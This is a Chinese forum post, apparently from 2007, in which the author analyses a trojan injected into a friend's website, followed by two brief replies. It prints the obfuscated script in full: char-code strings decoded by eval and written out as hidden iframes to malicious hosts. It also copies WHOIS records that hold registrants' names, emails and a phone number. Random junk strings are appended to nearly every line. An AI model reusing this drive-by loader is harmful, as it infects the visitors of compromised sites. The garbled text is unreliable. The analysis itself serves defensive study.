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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, oxE'u<  
^yH!IRRAq  
http://www.areway.cn/?p=175 n(.y_NEgV!  
]gYnw;W$  
]]{$X_0n  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: D3V5GQ\=  
          W B)<B  
<script>t=’60,105,102,114,97,109,101, WO W4c&  
32,115,114,99,61,104,116,116,112,58,47,47, FL!W oTB  
102,114,101,101,46,117,45,117,117,117,46,99, 5T;M,w6DV  
110,47,101,114,114,111,114,46,104,116,109, ;cl\$TDL  
32,119,105,100,116,104,61,49,48,48,32,104, Uw^`_\si  
101,105,103,104,116,61,48,62,60,47,105,102, 2g1[ E_?  
114,97,109,101,62′; /5 Wy) -  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> a'w~7y!}  
                                                                                                  R6HMi#eF  
<script>t=’60,105,102,114,97,109,101,32,115, <}-[9fW  
114,99,61,104,116,116,112,58,47,47,102,114, I%^Ks$<"  
101,101,46,117,45,117,117,117,46,99,110,47, ^"\ jIP  
101,114,114,111,114,46,104,116,109,32,119, vz:P 2TkM  
105,100,116,104,61,49,48,48,32,104,101,105, Ed9ynJ~)X  
103,104,116,61,48,62,60,47,105,102,114,97, W HO;;j  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); }l&Uh &B`  
document.write(t);</script> ([zt}uf  
                                                                                                  )n 1b  
<html xmlns=” 1g6AzUXg  
http://www.w3.org/1999/xhtml S(](C  
“> ^'i(@{{o\  
<head> tLe!_p)  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> D8N}*4S  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> $8o(_8Q)  
<title>首页 - 爱生活家庭网 / ]_T  
                                                                                                                                                    y0>asl  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 'M185wDdAl  
转换字符串后的大概内容是(谁点击后果自付): Rk.YnA_J6  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Rkm1fYf  
                                                                                                                                  WS8m^~S@\  
查询玉米u-uuu.cn的详细信息: )%x oN<  
Domain Name: u-uuu.cn emOd<C1A  
ROID: 20070901s10001s64972306-cn x/Se /C  
Domain Status: ok [H z_x(t26  
Registrant Organization: 王雷 YLVV9(  
Registrant Name: 王雷 9tsI1]1[m  
Administrative Email: czlovexs@126.com fv_}7t7  
Sponsoring Registrar: 北京万网志成科技有限公司 {]<l|qK  
Name Server:ns.yovole.com $j:$ `  
Name Server:ns1.yovole.com $u_0"sUV  
Registration Date: 2007-09-01 17:54 !Uz{dFJf;  
Expiration Date: 2008-09-01 17:54 3}=r.\]U  
最后PING了一下地址 都没有什么…. L^} Z:I  
                                                                                                0F-X.Dq  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 1C\OL!@L  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> D_ xPa  
<script language=”javascript” src=” !TY9\8JzV  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \UM9cAX`  
> t m?[0@<s  
这个玉米应该有可能是木马作者的: n"8vlNeW  
foafau.info的详细信息: IY6DZP  
Access to INFO WHOIS information is provided to assist persons in 24PEt%2  
determining the contents of a domain name registration record in the c^vP d]Ed  
Afilias registry database. The data in this record is provided by \"B?'Ep;  
Afilias Limited for informational purposes only, and Afilias does not 7l> |G,[c  
guarantee its accuracy.  This service is intended only for query-based D].!u{##  
access. You agree that you will use this data only for lawful purposes T:q_1W?h]  
and that, under no circumstances will you use this data to: (a) allow, YO7Y1(`  
enable, or otherwise support the transmission by e-mail, telephone, or Wr Ht  
facsimile of mass unsolicited, commercial advertising or solicitations BDSZ'  
to entities other than the data recipient’s own existing customers; or ){`s&?M0  
(b) enable high volume, automated, electronic processes that send Kk1591'  
queries or data to the systems of Registry Operator, a Registrar, or HQ~`ha.  
Afilias except as reasonably necessary to register domain names or %JM:4G|q  
modify existing registrations. All rights reserved. Afilias reserves $ysemDq-a\  
the right to modify these terms at any time. By submitting this query, $2qZds[  
you agree to abide by this policy. R06L4,/b  
Domain ID:D22418703-LRMS )I'?]p<  
Domain Name:FOAFAU.INFO ,#[0As29u  
Created On:20-Nov-2007 16:05:42 UTC '^ bB+  
Last Updated On:20-Nov-2007 16:05:44 UTC t!Q uM_i3  
Expiration Date:20-Nov-2008 16:05:42 UTC "a))TV%N  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Bz<T{f  
Status:CLIENT DELETE PROHIBITED dfY(5Wc+f  
Status:CLIENT RENEW PROHIBITED GL$!JKWp  
Status:CLIENT TRANSFER PROHIBITED 0X@!i3eu  
Status:CLIENT UPDATE PROHIBITED b/'{6zn  
Status:TRANSFER PROHIBITED 3~Od2nk(x  
Registrant ID:GODA-040110615 q`z/ S>  
Registrant Name:liu hong V(_OyxeC{2  
Registrant Organization: `s5<PCq  
Registrant Street1:beijing WV&T   
Registrant Street2: H,`F%G#!`q  
Registrant Street3: lxb+0fiN  
Registrant City:beijing P' .MwS  
Registrant State/Province: .zQ:u{FT  
Registrant Postal Code:100000 )9F-h8 &"  
Registrant Country:CN %jz]s4u$5j  
Registrant Phone:+86.860108888777 0fwmQ'lW(  
Registrant Phone Ext.: |N_tVE  
Registrant FAX: m3W:\LTTp  
Registrant FAX Ext.: ST$~l7p  
Registrant Email:bbbshiji@163.com )3 #gpM  
Admin ID:GODA-240110615 Fw5|_@&k  
Admin Name:liu hong _+PiaJ&'  
Admin Organization: /a.4atb0  
Admin Street1:beijing ?q a  
Admin Street2: |U{9Yy6p  
Admin Street3: F: %-x=q  
Admin City:beijing l?pF?({  
Admin State/Province: pgbm2mT9  
Admin Postal Code:100000 4?Pdld  
Admin Country:CN FJ0Ity4u6  
Admin Phone:+86.860108888777 >KHR;W03  
Admin Phone Ext.: abiZ"?(  
Admin FAX: j8n_:;i*  
Admin FAX Ext.: s}Phw2`1U  
Admin Email:bbbshiji@163.com y4*i V;"  
Billing ID:GODA-340110615 8* 7t1$  
Billing Name:liu hong .4on7<-a  
Billing Organization: x|4m*>Ke  
Billing Street1:beijing 0_'(w;!wq:  
Billing Street2: m,}0p  
Billing Street3: < kyT{[e+6  
Billing City:beijing Zjqa n  
Billing State/Province: )!6JSMS  
Billing Postal Code:100000 ro|mW P0  
Billing Country:CN -]""Jl^  
Billing Phone:+86.860108888777 Z9 X<W`  
Billing Phone Ext.: MzjV>.  
Billing FAX: 9U[Gh97Sf  
Billing FAX Ext.: ldp x,  
Billing Email:bbbshiji@163.com Qn= 3b:S-  
Tech ID:GODA-140110615 e_'/4 n  
Tech Name:liu hong ]0v;;PfVl6  
Tech Organization: ;pe1tp  
Tech Street1:beijing H$'|hUwds%  
Tech Street2: .T~<[0Ex+U  
Tech Street3: =k.:XblEe[  
Tech City:beijing EdGA#i3  
Tech State/Province: sF9{(Us  
Tech Postal Code:100000 +&hhj~I.  
Tech Country:CN <0lXJqd  
Tech Phone:+86.860108888777 _)|_KQQu  
Tech Phone Ext.: BGM5pc (ei  
Tech FAX: .*XELP=BT  
Tech FAX Ext.: EUBJnf:q  
Tech Email:bbbshiji@163.com +;z^qn  
Name Server:NS27.DOMAINCONTROL.COM W P7RX|7  
Name Server:NS28.DOMAINCONTROL.COM eu=G[>  
Name Server: 1 & G0;  
Name Server: |OW/-&)  
Name Server: }/tT=G]91  
Name Server: 337y,;  
Name Server: eC%uu  
Name Server: C]S~DK1  
Name Server: B ~u9"SR.  
Name Server: $t*>A+J  
Name Server: {g8uMt\4  
Name Server: kk|7{83O  
Name Server: G!]%xFwYa  
                                                                                                          ,RmXZnWY  
接着下载每个文件里面的代码: h>ZNPP8N  
一步一步看.. Oi#4|*b{W  
]vj.s/F~  
$cl[Qcw  
;]*V6!6RR  
wQ1_Q8:Z  
lMkDLobos  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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